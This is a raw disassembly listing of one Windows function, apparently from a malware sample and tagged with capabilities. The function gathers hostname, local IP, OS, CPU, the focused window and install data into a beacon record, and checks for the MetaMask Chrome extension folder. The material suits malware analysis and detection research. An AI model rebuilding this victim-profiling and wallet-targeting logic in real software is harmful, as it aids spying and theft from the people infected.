Function at 0x100034f0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get hostname
Get startup folder
Initialize winsock library
Resolve dns

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046042
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x5e0
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5ec], edx
mov dword [ebp - 0x5f0], ecx
xor eax, eax
push 0x28
mov dword [ebp - 0x5dc], eax
call dword [0x10114878]
add esp, 4
test eax, eax
je 0x1000356a
xorps xmm0, xmm0
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
movq qword [eax + 0x20], xmm0
mov dword [eax + 0xc], 0x40
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x558]
push 5
push str.Token
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x544], 0xf
mov byte [ebp - 0x558], 0
call fcn.10001570
push 0xc8
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b640
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x544]
cmp edx, 0x10
jb 0x100035fd
mov ecx, dword [ebp - 0x558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100035f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004c9d
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 7
push str.LocalIP
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 0xf
mov byte [ebp - 0x570], 0
call fcn.10001570
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
lea eax, [ebp - 0x2a8]
mov byte [ebp - 4], 3
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x100
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.10022540
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x100
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x10003713
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10003713
mov ecx, dword [eax + 0xc]
cmp dword [ecx], 0
je 0x10003713
cmp word [eax + 0xa], 4
jge 0x100036bb
push 0
lea ecx, [ebp - 0x558]
call fcn.10001a00
jmp 0x10003731
mov byte [ebp - 0x118], 0
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
movzx eax, byte [ecx + 3]
push eax
movzx eax, byte [ecx + 2]
push eax
movzx eax, byte [ecx + 1]
push eax
movzx eax, byte [ecx]
push eax
lea eax, [ebp - 0x118]
push str._u._u._u._u
push eax
call fcn.100012b0
lea ecx, [ebp - 0x118]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100036f7
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x540]
call fcn.10001570
movups xmm0, xmmword [ebp - 0x540]
movups xmmword [ebp - 0x558], xmm0
movq xmm0, qword [ebp - 0x530]
movq qword [ebp - 0x548], xmm0
lea edx, [ebp - 0x558]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x588]
call fcn.10015b30
push eax
lea eax, [ebp - 0x570]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x574]
cmp edx, 8
jb 0x100037a1
mov ecx, dword [ebp - 0x588]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003797
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ca2
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x544]
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 7
mov word [ebp - 0x588], ax
cmp edx, 0x10
jb 0x100037fc
mov ecx, dword [ebp - 0x558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100037f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ca7
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x55c]
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x544], 0xf
mov byte [ebp - 0x558], 0
cmp edx, 0x10
jb 0x10003855
mov ecx, dword [ebp - 0x570]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000384b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cac
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 8
push str.HostName
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
mov ecx, str.Remark
mov byte [ebp - 4], 6
call fcn.10016330
mov edx, eax
mov dword [ebp - 0x548], 0
mov ecx, edx
mov dword [ebp - 0x544], 7
xor eax, eax
mov word [ebp - 0x558], ax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100038b4
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x558]
call fcn.10001a40
mov byte [ebp - 4], 7
cmp dword [ebp - 0x548], 0
je 0x100038fd
movups xmm0, xmmword [ebp - 0x558]
movups xmmword [ebp - 0x570], xmm0
movq xmm0, qword [ebp - 0x548]
movq qword [ebp - 0x560], xmm0
jmp 0x1000394c
lea ecx, [ebp - 0x570]
call fcn.10002e60
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x1000394c
mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003942
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cb1
push edx
push ecx
call fcn.1001f82e
add esp, 8
lea eax, [ebp - 0x570]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x55c]
cmp edx, 8
jb 0x100039ad
mov ecx, dword [ebp - 0x570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100039a3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cb6
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov dword [ebp - 0x560], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
cmp edx, 0x10
jb 0x10003a07
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100039fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cbb
push edx
push ecx
call fcn.1001f82e
add esp, 8
lea ecx, [ebp - 0x588]
call fcn.10002590
mov esi, eax
mov dword [ebp - 0x5e4], esi
mov byte [ebp - 4], 9
call fcn.10002f70
mov edx, 0x10055df8
test al, al
mov ecx, 0x10056598
cmove ecx, edx
mov edi, ecx
mov dword [ebp - 0x5e0], ecx
lea edx, [edi + 2]
nop dword [eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x10003a40
mov eax, dword [esi + 0x14]
sub edi, edx
mov edx, dword [esi + 0x10]
sub eax, edx
sar edi, 1
mov dword [ebp - 0x5d8], edx
cmp edi, eax
ja 0x10003b23
cmp dword [esi + 0x14], 8
lea eax, [edx + edi]
mov dword [esi + 0x10], eax
mov edx, esi
mov dword [ebp - 0x5e8], esi
jb 0x10003a81
mov edx, dword [esi]
mov dword [ebp - 0x5e8], edx
lea eax, [ecx + edi*2]
cmp eax, edx
mov eax, dword [ebp - 0x5d8]
jbe 0x10003abe
add eax, eax
mov dword [ebp - 0x5d8], eax
add eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5d8]
ja 0x10003ac0
cmp edx, ecx
ja 0x10003ab0
xor esi, esi
mov dword [ebp - 0x5dc], esi
jmp 0x10003ac8
mov esi, edx
sub esi, ecx
sar esi, 1
mov dword [ebp - 0x5dc], esi
jmp 0x10003ac8
add eax, eax
mov esi, edi
mov dword [ebp - 0x5dc], edi
add eax, 2
push eax
push edx
lea eax, [edx + edi*2]
push eax
call fcn.10021fc0
add esp, 0xc
add esi, esi
push esi
push dword [ebp - 0x5e0]
push dword [ebp - 0x5e8]
call fcn.10021a40
mov ecx, dword [ebp - 0x5dc]
add esp, 0xc
mov eax, edi
sub eax, ecx
add eax, eax
push eax
lea eax, [ecx + edi]
mov ecx, dword [ebp - 0x5e0]
lea eax, [ecx + eax*2]
push eax
mov eax, dword [ebp - 0x5e8]
add eax, esi
push eax
call fcn.10021a40
mov eax, dword [ebp - 0x5e4]
add esp, 0xc
jmp 0x10003b3b
push edi
push ecx
push ecx
mov byte [ebp - 0x5e4], 0
mov ecx, esi
push dword [ebp - 0x5e4]
push edi
call fcn.10007d10
mov dword [ebp - 0x548], 0
xor ecx, ecx
mov dword [ebp - 0x544], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x558], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x548], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x10056474
mov byte [ebp - 4], 0xa
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x10056490
push edi
mov dword [ebp - 0x5e0], 0
call esi
push 0x100564a0
push edi
mov dword [ebp - 0x5e4], eax
call esi
mov esi, dword [ebp - 0x5e4]
test esi, esi
je 0x10003bc6
lea ecx, [ebp - 0x5e0]
push ecx
call eax
push eax
call esi
test edi, edi
je 0x10003bd1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x5e0], 0
mov ecx, 0x10056590
mov eax, 0x10056588
cmove eax, ecx
lea ecx, [ebp - 0x558]
push eax
call fcn.100074c0
mov dword [ebp - 0x5c0], 0
xor ecx, ecx
mov dword [ebp - 0x5bc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5c0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x10003c73
mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003c69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cc0
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x544], 7
mov word [ebp - 0x558], ax
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x574]
cmp edx, 8
jb 0x10003cd4
mov ecx, dword [ebp - 0x588]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003cca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cc5
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov dword [ebp - 0x578], 0
push 6
push str.OSInfo
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x574], 7
mov word [ebp - 0x588], ax
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], al
call fcn.10001570
lea eax, [ebp - 0x5d0]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x10003d74
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003d6a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cca
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 8
push str.software
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0xf
call fcn.100028a0
push eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x55c]
cmp edx, 8
jb 0x10003e0b
mov ecx, dword [ebp - 0x570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003e01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ccf
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
cmp edx, 0x10
jb 0x10003e66
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003e5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cd4
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 7
push str.cpu_mhz
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
mov byte [ebp - 4], 0x12
xor eax, eax
push 0xa0
push eax
mov word [ebp - 0x570], ax
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov dword [ebp - 0x5dc], 0xec
call fcn.10022540
add esp, 4
lea eax, [ebp - 0xb8]
mov edx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov ecx, 0x80000002
push 0
push eax
push 1
push str.ProcessorNameString
call fcn.10018330
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0xb8]
add esp, 0x18
push eax
call edi
test eax, eax
je 0x10003f2a
lea ecx, [ebp - 0xb8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003f11
sub ecx, edx
lea eax, [ebp - 0xb8]
sar ecx, 1
push ecx
push eax
jmp 0x10003f31
push 6
push str.UnKnow
lea ecx, [ebp - 0x570]
call fcn.10001a40
lea eax, [ebp - 0x570]
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x55c]
mov dword [ebp - 0x5dc], 0x6c
cmp edx, 8
jb 0x10003fa3
mov ecx, dword [ebp - 0x570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003f99
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cd9
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
cmp edx, 0x10
jb 0x10003ffe
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003ff4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cde
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 0xd
push str.activity_time
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x13
call fcn.10003080
push eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x55c]
cmp edx, 8
jb 0x10004095
mov ecx, dword [ebp - 0x570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000408b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ce3
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
cmp edx, 0x10
jb 0x100040f0
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100040e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ce8
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 0xb
push str.FocusWindow
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x15
call fcn.10002d10
push eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x55c]
cmp edx, 8
jb 0x10004187
mov ecx, dword [ebp - 0x570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000417d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ced
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
cmp edx, 0x10
jb 0x100041e2
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100041d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cf2
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 0x208
lea eax, [ebp - 0x528]
push 0
push eax
call fcn.10022540
add esp, 0xc
lea eax, [ebp - 0x320]
push 0
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x80
push 0
push 0x10116920
call fcn.10022540
add esp, 0xc
lea eax, [ebp - 0x320]
push 0
push 0x10056550
push eax
call fcn.10028d8c
add esp, 0xc
xor esi, esi
test eax, eax
je 0x1000425b
nop dword [eax + eax]
cmp esi, 2
je 0x1000425b
push 0
push 0x10056550
push 0
inc esi
call fcn.10028d8c
add esp, 0xc
test eax, eax
jne 0x10004240
push eax
push 0x10116920
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x10116920
lea eax, [ebp - 0x528]
push str.C:Users_sAppDataLocalGoogleChromeUser_DataDefaultExtensions_nkbihfbeogaeaoehlefnkodbefgpgknn_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, str.gt666
mov dword [ebp - 0x5a8], 0
add esp, 0xc
mov dword [ebp - 0x5a4], 0xf
mov byte [ebp - 0x5b8], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100042a4
sub ecx, edx
push ecx
push str.gt666
lea ecx, [ebp - 0x5b8]
call fcn.10001570
mov ecx, 0x1005ea10
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x58c], 0xf
mov byte [ebp - 0x5a0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100042e5
sub ecx, edx
push ecx
push 0x1005ea10
lea ecx, [ebp - 0x5a0]
call fcn.10001570
mov ecx, 0x100566a8
mov byte [ebp - 4], 0x18
call fcn.10016330
mov esi, eax
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10004435
test al, 0x10
je 0x10004435
push 4
xor eax, eax
mov dword [ebp - 0x548], 0
push 0x100566b0
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x544], 7
mov word [ebp - 0x558], ax
call fcn.10001a40
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x540]
push 8
push str.group_id
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x100043e8
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100043de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cf7
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x10004604
mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004426
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004cfc
push edx
push ecx
call fcn.1001f82e
add esp, 8
jmp 0x10004604
push esi
call edi
test eax, eax
je 0x100044e0
mov ecx, esi
mov dword [ebp - 0x530], 0
xor eax, eax
mov dword [ebp - 0x52c], 7
mov word [ebp - 0x540], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10004462
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x540]
call fcn.10001a40
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x588]
push 8
push str.group_id
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call fcn.10001570
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
lea ecx, [ebp - 0x588]
call fcn.10001520
mov byte [ebp - 4], 0x18
jmp 0x100045f9
cmp dword [ebp - 0x58c], 0x10
lea ecx, [ebp - 0x5a0]
mov edx, dword [ebp - 0x590]
cmovae ecx, dword [ebp - 0x5a0]
push 0
push 0x10055ae6
call fcn.100016b0
add esp, 8
test al, al
je 0x1000454d
push 4
xor eax, eax
mov dword [ebp - 0x530], 0
push 0x100566c8
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x52c], 7
mov word [ebp - 0x540], ax
call fcn.10001a40
lea esi, [ebp - 0x540]
mov byte [ebp - 4], 0x1d
mov eax, 0x6d
jmp 0x1000456c
lea edx, [ebp - 0x5a0]
lea ecx, [ebp - 0x558]
call fcn.10015b30
mov esi, eax
mov dword [ebp - 4], 0x1e
mov eax, 0x6e
push 8
push str.group_id
lea ecx, [ebp - 0x588]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call fcn.10001570
push esi
lea eax, [ebp - 0x588]
mov dword [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
lea ecx, [ebp - 0x588]
call fcn.10001520
mov eax, dword [ebp - 0x5d8]
test al, 2
je 0x100045ee
and eax, 0xfffffffd
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x5d8], eax
call fcn.10001950
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 4], 0x18
test al, 1
je 0x10004604
lea ecx, [ebp - 0x540]
call fcn.10001950
push 6
push str.Master
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea edx, [ebp - 0x5b8]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x588]
call fcn.10015b30
push eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x574]
cmp edx, 8
jb 0x100046a1
mov ecx, dword [ebp - 0x588]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004697
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d01
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 7
mov word [ebp - 0x588], ax
cmp edx, 0x10
jb 0x100046fc
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100046f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d06
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov ecx, str.Time
call fcn.10016330
mov edx, eax
mov dword [ebp - 0x548], 0
mov ecx, edx
mov dword [ebp - 0x544], 7
xor eax, eax
mov word [ebp - 0x558], ax
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10004730
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x558]
call fcn.10001a40
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x540]
push 0xc
push str.install_date
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x100047d8
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100047ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d0b
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x1000481c
mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004812
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d10
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov ecx, 0x100566f8
call fcn.10016330
mov edx, eax
lea esi, [edx + 2]
nop dword [eax + eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x10004830
sub edx, esi
mov ecx, 0x10114884
sar edx, 1
push edx
push eax
call fcn.10001a40
push 8
xor eax, eax
mov dword [ebp - 0x548], 0
push str.20240125
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x544], 7
mov word [ebp - 0x558], ax
call fcn.10001a40
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x540]
push 3
push 0x10056714
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 0x25
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x10004906
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100048fc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d15
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x1000494a
